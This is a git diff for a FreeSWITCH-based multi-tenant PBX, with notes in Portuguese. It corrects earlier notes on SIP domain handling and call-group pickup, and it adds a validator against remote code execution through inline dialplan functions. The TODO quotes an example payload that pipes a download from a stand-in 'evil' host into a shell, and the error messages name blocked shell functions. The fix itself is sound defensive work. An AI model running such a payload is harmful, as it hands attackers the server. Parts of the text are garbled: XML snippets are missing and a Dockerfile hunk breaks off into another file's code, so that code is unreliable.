diff --git a/TODO.md b/TODO.md
index 85e29e7..4627acf 100644
--- a/TODO.md
+++ b/TODO.md
@@ -1836,12 +1836,14 @@ usuário: `Ctrl+F5` depois de um tempo logado quebrava com 401 cru)
só pelo domínio (`Tenant.findFirst({ telephonyDomain: domain })`),
então com todo tenant no mesmo domínio o isolamento de PABX (ramais,
call groups, filas, IVR) não tinha como funcionar de verdade.
- Investigado direto no container: o sofia profile `internal`
- (vanilla, nunca sobrescrito) já vem com
- `` — o FreeSWITCH
- SEMPRE aceitou domínio dinâmico por REGISTER, o bug era só a
- aplicação gravando o mesmo valor pra todo mundo. Nenhuma mudança de
- infra (Dockerfile/sofia profile) foi necessária
+ **Correção**: esta entrada originalmente dizia "nenhuma mudança de
+ infra foi necessária", baseado só em testar o `mod_xml_curl` via
+ curl direto (que funcionava). Isso era **incompleto** — só um teste
+ de REGISTER de verdade (PHASE 53, pedido explícito do usuário) achou
+ que o sofia profile `internal` TAMBÉM tinha `force-register-domain`
+ fixo em `$${domain}`, ignorando o domínio do REGISTER e sempre
+ resolvendo contra "b2bcall.local" (403 Forbidden pra qualquer
+ domínio real de tenant). Ver PHASE 53 pelo fix completo
- [x] `Tenant.telephonyDomain` agora é obrigatório e `@unique` (migration
`20260830140000_tenant_domain_and_call_group`, com backfill:
tenants existentes ganharam `{code}.b2bcall.net` automaticamente,
@@ -1852,10 +1854,14 @@ usuário: `Ctrl+F5` depois de um tempo logado quebrava com 401 cru)
- [x] `Extension.callGroup` (novo, nullable) — grupo de captura (secao
178): ramais no mesmo grupo podem atender a chamada um do outro
(`*8`/group pickup), ramais fora do grupo não. Vira a variable
- `call-group` no directory XML (`packages/telephony`); a extensão de
- dialplan do `*8` em si é uma regra a configurar em Telefonia >
- Dialplan (já existe o editor), não precisava de código novo — só do
- dado. Editável na criação e depois (`PATCH /extensions/:id`, novo)
+ `callgroup` no directory XML (**correção**: a versão inicial desta
+ entrada dizia `call-group`, com hífen — nome errado, copiado de
+ convenção do Asterisk; FreeSWITCH usa `callgroup` sem hífen, lido
+ via `${user_data(@ var callgroup)}`. A confusão de
+ mecanismo — achando que a variable sozinha já fazia o pickup
+ automático — também estava errada; ver PHASE 53 pelo mecanismo real
+ e o dialplan necessário). Editável na criação e depois
+ (`PATCH /extensions/:id`, novo)
- [x] `POST /extensions/:id/reveal-password` (novo) — achado real: "show
once" puro não funciona no dia a dia de um PABX (reconfigurar um
telefone físico ou softphone precisa da senha de novo; forçar reset
@@ -1877,6 +1883,92 @@ usuário: `Ctrl+F5` depois de um tempo logado quebrava com 401 cru)
ramal em domínios diferentes NUNCA se confunde (isolamento
cross-tenant confirmado de verdade, não só por leitura de código)
+## PHASE 53 — Teste real de captura de chamada (pedido explícito do
+usuário: "testa criando um ramal com callgroup e captura chamada de outro
+ramal") — achou 2 problemas reais que a PHASE 52 tinha dado como
+resolvidos sem nunca registrar um SIP de verdade
+- [x] **achado real #1 (crítico, segurança)**, achado pesquisando o
+ mecanismo certo de pickup antes de implementar o dialplan: o
+ allowlist de `application` (`ALLOWED_DIALPLAN_APPLICATIONS`) nunca
+ bloqueava `${nome(args)}` (chamada de API do FreeSWITCH) embutida
+ dentro do `data` de uma application já permitida como `set`/
+ `export`/`playback`. FreeSWITCH expande isso em tempo de chamada, e
+ `mod_commands` (carregado nesta implantação) registra as APIs
+ `system`/`bg_system` — **RCE completo no host do FreeSWITCH**,
+ alcançável por qualquer Tenant Admin com `freeswitch.configure`
+ (ex.: `{"application":"set","data":"x=${system(curl evil|sh)}"}`).
+ Corrigido: `ALLOWED_INLINE_API_FUNCTIONS` (novo,
+ `packages/telephony/src/dialplan-xml.ts`) +
+ `findDisallowedInlineFunctionCalls()` + `IsSafeDialplanData` (novo,
+ `apps/api/src/dialplan/dto/safe-dialplan-data.validator.ts`,
+ aplicado em `ActionDto.data`) bloqueiam qualquer `${nome(...)}` fora
+ de um allowlist de leitura (`user_data`, `escape`, `url_encode`,
+ `url_decode`, `regex`, `strftime`) — `${variavel}` sem parênteses
+ nunca é bloqueado. Testado via curl: `${system(id)}` → 400 claro;
+ `${user_data(...)}` (usado pelo pickup) → aceito normalmente
+- [x] **achado real #2 (o mecanismo de pickup em si estava errado)**:
+ pesquisado contra a documentação oficial do FreeSWITCH antes de
+ escrever qualquer dialplan — a variable `callgroup` sozinha NÃO faz
+ pickup automático nenhum. O mecanismo de verdade: (1) o `bridge`
+ que atende a ligação pro ramal precisa forkar um leg extra
+ `pickup/` (registra a chamada num hash em memória, chave =
+ grupo), usando
+ `${user_data(${destination_number}@${domain_name} var callgroup)}`
+ pra descobrir o grupo do CALLADO; (2) uma extension de feature code
+ (`*8`) separada chama a application `pickup` (nova no allowlist)
+ com o grupo do PRÓPRIO CALLADOR, via
+ `${user_data(${caller_id_number}@${domain_name} var callgroup)}`.
+ Reescrita a regra "Discagem interna" do tenant Acme (a versão
+ anterior nem tinha `user/`/`@domain` corretos no `bridge` — nunca
+ teria funcionado numa chamada real) e criada a nova regra `*8`
+ "Capturar chamada do grupo"
+- [x] **achado real #3 (infra, não só aplicação)**: registrando um
+ softphone de teste de verdade contra `acme.b2bcall.net`, o REGISTER
+ batia 403 Forbidden mesmo com tudo certo na aplicação — o profile
+ `internal` vanilla tem `force-register-domain`/
+ `force-subscription-domain`/`force-register-db-domain` fixados em
+ `$${domain}` ("b2bcall.local"), ignorando completamente o domínio
+ do REGISTER (``, também
+ vanilla, só afeta contexto de dialplan, não esta checagem). Isso
+ **contradiz a PHASE 52**, que tinha concluído — só com teste via
+ curl direto no `mod_xml_curl`, sem nunca registrar um SIP de
+ verdade — que nenhuma mudança de infra seria necessária. Corrigido
+ no `infrastructure/freeswitch/Dockerfile` com mais um `sed` (mesmo
+ padrão do `$${domain}` já existente) removendo os 3 params —
+ procedimento padrão documentado do próprio FreeSWITCH pra
+ multi-domínio. Imagem reconstruída e o container recriado (não só
+ patch ao vivo) — testado de novo do zero pra confirmar que o fix
+ sobrevive a rebuild
+- [x] **Teste real ponta a ponta, com SIP de verdade** (não só leitura de
+ XML): instalado `linphone-cli` (softphone de console) em
+ containers Docker descartáveis na mesma rede (`b2bcall_default`) —
+ as portas SIP não são publicadas no host de propósito (secao 184),
+ então um softphone real só alcança o FreeSWITCH de dentro da rede
+ Docker. 3 ramais criados no grupo "vendas" (2001/2002/2003) + 1 no
+ grupo "suporte" (2004), todos registrados de verdade
+ (`show registrations` no FreeSWITCH confirma). Cenário: 2002 liga
+ pra 2001 (toca, registra o `pickup/vendas`) → 2003 (mesmo grupo)
+ disca `*8` → **capturado de verdade**: `show channels` confirma
+ 2002 e 2003 bridged no mesmo `call_uuid`, `callstate ACTIVE`, codec
+ negociado (PCMU) nos dois lados, e o canal de 2001 desaparece (a
+ ligação foi roubada antes dele atender). Teste negativo: 2004
+ (grupo "suporte") tenta `*8` na mesma ligação → falha (nenhum canal
+ capturado, 2001 continua tocando) — confirma que grupos são
+ isolados de verdade, não só "qualquer um captura qualquer coisa"
+- [x] achado operacional, sem relação com telefonia: o disco da VM
+ chegou a **100% de uso (13MB livres)** no meio deste teste — os
+ múltiplos rebuilds de imagem Docker desta sessão acumularam ~19GB
+ em cache do BuildKit nunca limpo (`docker builder du` confirmou).
+ Risco real pro ambiente inteiro (Postgres podia falhar escrita de
+ WAL a qualquer momento). Corrigido com `docker image prune -a -f` +
+ `docker builder prune -a -f` (reversível — só cache de build,
+ nenhum dado de verdade) — liberou ~19GB, disco voltou a 41% de uso.
+ Vale rodar de novo se o disco apertar depois de mais rebuilds
+- [x] Containers/ramais/tenant de teste (2001-2004, `testedomain1`)
+ removidos ao final; as 2 regras de dialplan reais do tenant Acme
+ (Discagem interna corrigida + `*8`) foram mantidas — são
+ configuração funcional de verdade, não lixo de teste
+
---
## Riscos conhecidos
diff --git a/apps/api/src/dialplan/dto/action.dto.ts b/apps/api/src/dialplan/dto/action.dto.ts
index ab12441..1f2c9c2 100644
--- a/apps/api/src/dialplan/dto/action.dto.ts
+++ b/apps/api/src/dialplan/dto/action.dto.ts
@@ -1,5 +1,6 @@
import { IsIn, IsOptional, IsString, MaxLength } from "class-validator";
import { ALLOWED_DIALPLAN_APPLICATIONS, type AllowedDialplanApplication } from "@b2bcall/telephony";
+import { IsSafeDialplanData } from "./safe-dialplan-data.validator";
export class ActionDto {
@IsIn(ALLOWED_DIALPLAN_APPLICATIONS)
@@ -8,5 +9,6 @@ export class ActionDto {
@IsOptional()
@IsString()
@MaxLength(500)
+ @IsSafeDialplanData({ message: "data usa uma função não permitida (ver docs/EXTENSIONS.md — nunca system/bg_system/curl/db/lua/shell)" })
data?: string;
}
diff --git a/apps/api/src/dialplan/dto/safe-dialplan-data.validator.ts b/apps/api/src/dialplan/dto/safe-dialplan-data.validator.ts
new file mode 100644
index 0000000..8adf980
--- /dev/null
+++ b/apps/api/src/dialplan/dto/safe-dialplan-data.validator.ts
@@ -0,0 +1,31 @@
+import { registerDecorator, type ValidationOptions, type ValidationArguments } from "class-validator";
+import { findDisallowedInlineFunctionCalls } from "@b2bcall/telephony";
+
+/**
+ * Bloqueia `${nome(args)}` que não esteja no allowlist de APIs seguras
+ * (`ALLOWED_INLINE_API_FUNCTIONS`) — achado real de segurança (secao 180):
+ * o allowlist de `application` (set/export/playback/...) não impedia RCE
+ * via `${system(...)}`/`${bg_system(...)}` embutido no `data` de uma
+ * application já permitida (`mod_commands` está carregado no FreeSWITCH
+ * desta implantação). `${variavel}` sem parênteses nunca é bloqueado.
+ */
+export function IsSafeDialplanData(validationOptions?: ValidationOptions) {
+ return function (object: object, propertyName: string) {
+ registerDecorator({
+ name: "isSafeDialplanData",
+ target: object.constructor,
+ propertyName,
+ options: validationOptions,
+ validator: {
+ validate(value: unknown) {
+ if (typeof value !== "string") return true; // @IsString() já cobre o tipo
+ return findDisallowedInlineFunctionCalls(value).length === 0;
+ },
+ defaultMessage(args: ValidationArguments) {
+ const disallowed = findDisallowedInlineFunctionCalls(String(args.value));
+ return `data usa função não permitida: ${disallowed.join(", ")} (nunca system/bg_system/curl/db/lua/shell — RCE no FreeSWITCH)`;
+ },
+ },
+ });
+ };
+}
diff --git a/docs/EXTENSIONS.md b/docs/EXTENSIONS.md
index 0941b11..bfbbb9a 100644
--- a/docs/EXTENSIONS.md
+++ b/docs/EXTENSIONS.md
@@ -92,8 +92,22 @@ era só a camada de aplicação: `TenantsController.create()` gravava o mesmo
`telephonyDomain` fixo ("b2bcall.local") pra todo tenant novo. Corrigido:
`telephonyDomain` agora é obrigatório e único na criação do tenant
(constraint no banco), sugerido como `{code}.b2bcall.net` na tela mas
-editável. Nenhuma mudança de infra (Dockerfile/sofia profile) foi
-necessária — só era preciso um domínio de verdade por tenant.
+editável.
+
+**Correção (PHASE 53)**: o parágrafo acima concluía "nenhuma mudança de
+infra foi necessária", baseado só em testar o `mod_xml_curl` via curl
+direto (que de fato já funcionava por domínio). Isso era **incompleto**
+— só um teste de REGISTER de verdade, com um softphone real, achou que o
+profile `internal` TAMBÉM tinha `force-register-domain`/
+`force-subscription-domain`/`force-register-db-domain` fixados em
+`$${domain}`, ignorando completamente o domínio do REGISTER e sempre
+resolvendo contra "b2bcall.local" (403 Forbidden pra qualquer domínio
+real de tenant). O `` citado acima só
+afeta resolução de contexto de dialplan — não essa checagem de REGISTER,
+que é um código completamente separado dentro do sofia profile. Corrigido
+no `Dockerfile` removendo os 3 params (mesmo `sed` do `$${domain}` acima)
+— procedimento padrão documentado do próprio FreeSWITCH pra
+multi-domínio. Ver PHASE 53 no `TODO.md` pro teste completo.
## Verificado ponta a ponta
@@ -136,22 +150,60 @@ decifra e devolve a senha ATUAL sem trocar nada, auditado
(`EXTENSION_PASSWORD_REVEALED`) por ser uma ação sensível mesmo sem
escrita nenhuma.
-## Grupo de captura (call group, PHASE 51)
+## Grupo de captura (call group, PHASE 51/53)
Achado real: sem isso, qualquer ramal conseguia capturar a chamada de
qualquer outro (o PBX não tinha noção de "grupo"). `Extension.callGroup`
-(nullable) vira a variable `call-group` no directory XML — o FreeSWITCH já
-resolve `*8` (group pickup) comparando essa variable entre canais. A
-extensão de dialplan pro `*8` em si fica pra configurar em Telefonia >
-Dialplan (já é um editor de regras por tenant), não precisa de código
-novo — só precisava existir o dado.
+(nullable) vira a variable `callgroup` no directory XML.
+
+**Correção (PHASE 53)**: o parágrafo original dizia que a variable era
+`call-group` (com hífen, convenção do Asterisk) e que o FreeSWITCH "já
+resolve `*8` sozinho comparando essa variable entre canais" — ambas as
+afirmações estavam erradas, e nunca tinham sido testadas com uma chamada
+de verdade. O mecanismo real, confirmado contra a documentação oficial do
+FreeSWITCH e testado ponta a ponta com softphones reais (PHASE 53):
+
+1. A variable correta é `callgroup`, sem hífen — não tem nenhum efeito
+ automático sozinha. É lida no dialplan via
+ `${user_data(@ var callgroup)}` (API `mod_commands`,
+ já carregada).
+2. O `bridge` que atende a ligação pro ramal chamado precisa forkar um
+ leg extra `pickup/` junto do `user/...` normal — isso é o que
+ registra a ligação tocando num hash em memória sob a chave do grupo:
+ `bridge data="user/${destination_number}@${domain_name},pickup/${called_party_callgroup}"`.
+3. Uma extension de feature code separada (`*8`) precisa chamar a
+ application `pickup` (adicionada ao `ALLOWED_DIALPLAN_APPLICATIONS`)
+ com o grupo do PRÓPRIO CALLADOR como `data`.
+
+Essas duas regras de dialplan (bridge com o pickup fork + `*8`) foram
+configuradas de verdade no tenant Acme via Telefonia > Dialplan — não é
+mais só "o dado existe, falta configurar a regra". Testado com 3
+softphones reais: ramal do mesmo grupo captura a ligação tocando (`*8`
+funciona e o canal migra de verdade); ramal de outro grupo tenta `*8` na
+mesma ligação e falha (nenhuma captura). Ver PHASE 53 no `TODO.md`.
+
+### Achado de segurança relacionado: RCE via função inline no dialplan (PHASE 53)
+
+Implementando o mecanismo acima, foi descoberto que o allowlist de
+`application` (`set`/`export`/`playback`/...) nunca bloqueava
+`${nome(args)}` — uma chamada de API do FreeSWITCH — embutida dentro do
+`data` de uma application já permitida. Como `mod_commands` está
+carregado, isso permitia `${system(...)}`/`${bg_system(...)}` e RCE
+completo no host do FreeSWITCH pra qualquer Tenant Admin com permissão
+`freeswitch.configure`. Corrigido com um segundo allowlist,
+`ALLOWED_INLINE_API_FUNCTIONS` (`packages/telephony`), validado no DTO
+via `IsSafeDialplanData` (`apps/api/src/dialplan/dto/`) — bloqueia
+qualquer `${nome(...)}` fora de um punhado de funções de leitura
+(`user_data`, `escape`, `url_encode`, `url_decode`, `regex`, `strftime`).
+`${variavel}` sem parênteses nunca é afetado.
## O que falta
- ~~Quota de ramais~~ — implementada na fase Plans/Entitlements (ver
docs/ENTITLEMENTS.md), `assertQuota` chamado antes de criar.
-- Tela "Telefonia → Ramais" (frontend) — fase Frontend, bem mais adiante.
-- ~~Multi-domínio real por tenant~~ — resolvido na PHASE 50 (ver acima).
-- Extensão de dialplan padrão pro `*8` de group pickup — o dado
- (`callGroup`) já existe, falta só alguém configurar a regra em
- Telefonia > Dialplan (ou decidir seedar uma default por tenant).
+- Tela "Telefonia → Ramais" (frontend) — já existe (ver PHASE 30).
+- ~~Multi-domínio real por tenant~~ — resolvido na PHASE 50/53 (ver
+ acima).
+- ~~Extensão de dialplan padrão pro `*8` de group pickup~~ — configurada
+ de verdade no tenant Acme na PHASE 53 (ver acima); ainda não é seedada
+ automaticamente pra tenant novo, decisão de produto em aberto.
diff --git a/infrastructure/freeswitch/Dockerfile b/infrastructure/freeswitch/Dockerfile
index 2e4e5cd..4ce43c5 100644
--- a/infrastructure/freeswitch/Dockerfile
+++ b/infrastructure/freeswitch/Dockerfile
@@ -57,6 +57,27 @@ RUN sed -i "s/data=\"domain=\$\${local_ip_v4}\"/data=\"domain=${DEFAULT_SIP_DOMA
/etc/freeswitch/vars.xml \
&& grep -q "domain=${DEFAULT_SIP_DOMAIN}" /etc/freeswitch/vars.xml
+# Multi-domínio real por tenant (PHASE 52, docs/EXTENSIONS.md) — achado
+# real, confirmado só depois de registrar um SIP de verdade (o teste por
+# curl direto no mod_xml_curl não pegava isto, porque roda ANTES do
+# xml_curl ser consultado): o profile "internal" vanilla vem com
+# `force-register-domain`/`force-subscription-domain`/
+# `force-register-db-domain` fixados em `$${domain}` — REGISTER de
+# QUALQUER identidade era resolvido contra o domínio fixo do profile
+# ("b2bcall.local"), nunca o domínio que o tenant realmente tem
+# (`acme.b2bcall.net`), dando 403 Forbidden sempre. `` (também vanilla) só afeta contexto de dialplan, não
+# esta checagem de REGISTER. Removendo os 3 params (procedimento padrão
+# documentado do próprio FreeSWITCH pra multi-domínio), o REGISTER passa
+# a resolver o domínio do próprio pedido — confirmado registrando um
+# softphone de teste de verdade contra `acme.b2bcall.net`.
+RUN sed -i \
+ -e '/();
+ for (const match of text.matchAll(INLINE_FUNCTION_CALL_PATTERN)) {
+ const name = match[1];
+ if (!(ALLOWED_INLINE_API_FUNCTIONS as readonly string[]).includes(name)) {
+ found.add(name);
+ }
+ }
+ return Array.from(found);
+}
+
export const ALLOWED_CONDITION_FIELDS = [
"destination_number",
"caller_id_number",
diff --git a/packages/telephony/src/directory-xml.ts b/packages/telephony/src/directory-xml.ts
index c97895b..36f20b3 100644
--- a/packages/telephony/src/directory-xml.ts
+++ b/packages/telephony/src/directory-xml.ts
@@ -18,11 +18,17 @@ export interface DirectoryUserParams {
callerIdNumber?: string;
tenantId: string;
extensionId: string;
- /** Grupo de captura (secao 178) — vira a variable `call-group` no
- * directory; o *8 de group pickup no dialplan usa essa mesma variable
- * pra achar um canal tocando no mesmo grupo (`pickup` da FreeSWITCH
- * exige `call-group` batendo, senão qualquer ramal capturaria a
- * chamada de qualquer outro — achado real reportado pelo usuário). */
+ /** Grupo de captura (secao 178) — vira a variable `callgroup` (sem
+ * hífen: é o nome que o `mod_dptools`/convenção FreeSWITCH usa,
+ * confirmado contra a documentação oficial — `${user_data(@
+ * var callgroup)}` no dialplan lê exatamente esse nome). O
+ * pickup em si não é automático por variável: o dialplan que atende a
+ * ligação pro ramal precisa forkar um leg `pickup/${...essa var...}`
+ * no `bridge`, e uma extension separada de feature code (`*8`) chama a
+ * application `pickup` com o grupo de quem discou. Ver
+ * docs/EXTENSIONS.md — achado real reportado pelo usuário, verificado
+ * contra a documentação do FreeSWITCH antes de close (a primeira versão
+ * usava `call-group`, que não é lido por nada). */
callGroup?: string | null;
}
@@ -60,7 +66,7 @@ export function buildDirectoryUserXml(params: DirectoryUserParams): string {
- ${params.callGroup ? `` : ""}
+ ${params.callGroup ? `` : ""}